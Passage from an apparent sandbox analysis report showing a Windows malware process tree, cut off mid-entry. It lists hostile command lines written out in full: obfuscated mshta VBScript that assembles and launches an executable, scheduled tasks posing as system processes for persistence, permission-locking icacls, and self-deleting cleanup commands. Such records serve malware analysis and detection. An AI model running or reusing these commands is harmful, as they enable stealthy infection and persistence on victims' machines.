                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\x2lcdyoj.oio\gcleaner.exe
                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\x2lcdyoj.oio\gcleaner.exe /mixfive
                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                PID:8312
                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jwmuh4rk.tvm\autosubplayer.exe /S & exit
                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                PID:7772
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jwmuh4rk.tvm\autosubplayer.exe
                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jwmuh4rk.tvm\autosubplayer.exe /S
                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                    PID:9064
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb8B19.tmp\tempfile.ps1"
                                                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                                                        PID:6836
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2D6.tmp\2D7.tmp\extd.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2D6.tmp\2D7.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                          PID:3632
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\6E32.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\6E32.exe
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                          PID:6020
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\6E32.exe
                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\6E32.exe
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                            PID:6080
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                          schtasks.exe /create /tn "AdobeARM" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper\AdobeARM.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                          PID:4928
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\ADCC.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\ADCC.exe
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                          • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                          PID:4816
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\C27E.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\C27E.exe
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                          PID:5780
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\E53A.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\E53A.exe
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                            PID:1180
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                            schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files\VideoLAN\VLC\hrtfs\WmiPrvSE.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                            PID:6432
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\4BF4.exe
                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\4BF4.exe
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                            PID:6928
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\4BF4.exe
                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\4BF4.exe
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                              • Adds Run key to start application
                                                                                                                                                                                                                                                                                              PID:6676
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                icacls "C:\Users\Admin\AppData\Local\e0b6e2ef-b778-4341-8fde-bd0fb172b026" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                                                                                PID:6560
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\4BF4.exe
                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\4BF4.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                PID:7908
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\4BF4.exe
                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\4BF4.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                    PID:8036
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\07a5855f-add1-4e0e-8448-b711863d056a\build2.exe
                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\07a5855f-add1-4e0e-8448-b711863d056a\build2.exe"
                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                      PID:7608
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\07a5855f-add1-4e0e-8448-b711863d056a\build2.exe
                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\07a5855f-add1-4e0e-8448-b711863d056a\build2.exe"
                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                          PID:4732
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\07a5855f-add1-4e0e-8448-b711863d056a\build2.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                              PID:1976
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                taskkill /im build2.exe /f
                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                PID:4784
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                timeout /t 6
                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                PID:4856
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\07a5855f-add1-4e0e-8448-b711863d056a\build3.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\07a5855f-add1-4e0e-8448-b711863d056a\build3.exe"
                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                          PID:7680
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\07a5855f-add1-4e0e-8448-b711863d056a\build3.exe
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\07a5855f-add1-4e0e-8448-b711863d056a\build3.exe"
                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                              PID:7920
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                PID:7948
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\57AD.exe
                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\57AD.exe
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                      PID:6872
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\59FF.exe
                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\59FF.exe
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                                                                                                                      PID:6544
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c taskkill /im 59FF.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\59FF.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:7548
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                            taskkill /im 59FF.exe /f
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                                                                                                            PID:8104
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                            timeout /t 6
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                            PID:5476
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\5CDF.exe
                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\5CDF.exe
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                          PID:6588
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\mshta.exe" VBscRipt: cLose( CReAtEOBJECT ( "WsCrIPT.sHell" ).rUn ( "cmD.ExE /R TYPe ""C:\Users\Admin\AppData\Local\Temp\5CDF.exe"" > ..\JKadlCLvM2SRA2.ExE && staRt ..\JKadLCLVm2SRA2.eXe /PvqsV6~7fsyUR14GhQkS4jjgPQTPw & IF """" =="""" for %q in (""C:\Users\Admin\AppData\Local\Temp\5CDF.exe"") do taskkill -iM ""%~Nxq"" -f " , 0 , truE ) )
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                            • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                                            PID:6896
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /R TYPe "C:\Users\Admin\AppData\Local\Temp\5CDF.exe"> ..\JKadlCLvM2SRA2.ExE && staRt ..\JKadLCLVm2SRA2.eXe /PvqsV6~7fsyUR14GhQkS4jjgPQTPw& IF "" =="" for %q in ("C:\Users\Admin\AppData\Local\Temp\5CDF.exe") do taskkill -iM "%~Nxq" -f
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:6204
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\JKadlCLvM2SRA2.ExE
                                                                                                                                                                                                                                                                                                                  ..\JKadLCLVm2SRA2.eXe /PvqsV6~7fsyUR14GhQkS4jjgPQTPw
                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                  • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                                                  PID:2284
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\mshta.exe" VBscRipt: cLose( CReAtEOBJECT ( "WsCrIPT.sHell" ).rUn ( "cmD.ExE /R TYPe ""C:\Users\Admin\AppData\Local\Temp\JKadlCLvM2SRA2.ExE"" > ..\JKadlCLvM2SRA2.ExE && staRt ..\JKadLCLVm2SRA2.eXe /PvqsV6~7fsyUR14GhQkS4jjgPQTPw & IF ""/PvqsV6~7fsyUR14GhQkS4jjgPQTPw"" =="""" for %q in (""C:\Users\Admin\AppData\Local\Temp\JKadlCLvM2SRA2.ExE"") do taskkill -iM ""%~Nxq"" -f " , 0 , truE ) )
                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                                                    PID:3124
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /R TYPe "C:\Users\Admin\AppData\Local\Temp\JKadlCLvM2SRA2.ExE"> ..\JKadlCLvM2SRA2.ExE && staRt ..\JKadLCLVm2SRA2.eXe /PvqsV6~7fsyUR14GhQkS4jjgPQTPw& IF "/PvqsV6~7fsyUR14GhQkS4jjgPQTPw" =="" for %q in ("C:\Users\Admin\AppData\Local\Temp\JKadlCLvM2SRA2.ExE") do taskkill -iM "%~Nxq" -f
                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                        PID:6608
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\mshta.exe" vBsCripT: ClOSe ( creAteObJecT ( "WscrIpT.sheLl" ). RUN ( "cmd /q /c ECho %tImE%4u> VDn3614.Q9 & ECho | SET /p = ""MZ"" > WSyZI.4 & coPY /b /y WSYZI.4 + 0CPM7.G + TY6DSS.SE + vDN3614.Q9 ..\UfTh.2~z & STaRt msiexec -y ..\UFTH.2~Z & deL /q * " , 0 , tRUe ) )
                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                      • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                      PID:7388
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /q /c ECho %tImE%4u> VDn3614.Q9 & ECho | SET /p = "MZ" > WSyZI.4 & coPY /b /y WSYZI.4 + 0CPM7.G+ TY6DSS.SE + vDN3614.Q9 ..\UfTh.2~z & STaRt msiexec -y ..\UFTH.2~Z & deL /q *
                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                          PID:7444
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /S /D /c" ECho "
                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                              PID:7996
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" SET /p = "MZ" 1>WSyZI.4"
                                                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                                                PID:8052
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                                                                                msiexec -y ..\UFTH.2~Z
                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                  PID:5288
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                            taskkill -iM "5CDF.exe" -f
                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                            PID:4312
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\62CB.exe
                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\62CB.exe
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                        PID:1492
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                        schtasks.exe /create /tn "jsR5TeG9aBgSNX5NZFstBdam" /sc ONLOGON /tr "'C:\Users\Admin\Pictures\Adobe Films\c3DOh_fdNoxQIYyhHBWeTIAE\jsR5TeG9aBgSNX5NZFstBdam.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                        PID:7100
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                        PID:7452
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                                                          PID:7472
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2745.exe
                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2745.exe
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                          PID:6464
                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                            PID:7996
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                              PID:2976
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                PID:6460
                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                  PID:4936
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding 4DCACBA15D7DF7688F629F7AD75C105B C
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                      PID:8968
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\syswow64\MsiExec.exe -Embedding 2F67FAB25932C3F5D50E1F00F2CF79D9
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                        PID:5524
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                          PID:5612
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\syswow64\MsiExec.exe -Embedding D5518D401E36D154BA62C9B00EDB15E5 E Global\MSI0000
                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                          PID:7516
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                          PID:6084
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                          schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\Default User\csrss.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                          PID:6740
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                            PID:8088
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                              PID:8536
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                PID:8016
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                  PID:6716
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                    PID:9008
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                    PID:8116
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                      rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                        PID:4496
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                      rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                      • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                      PID:8056
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                          PID:9052
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                        schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Boot\zh-TW\dwm.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                        PID:4428
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                        schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                        PID:348
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                          PID:6256
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                            PID:6072
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
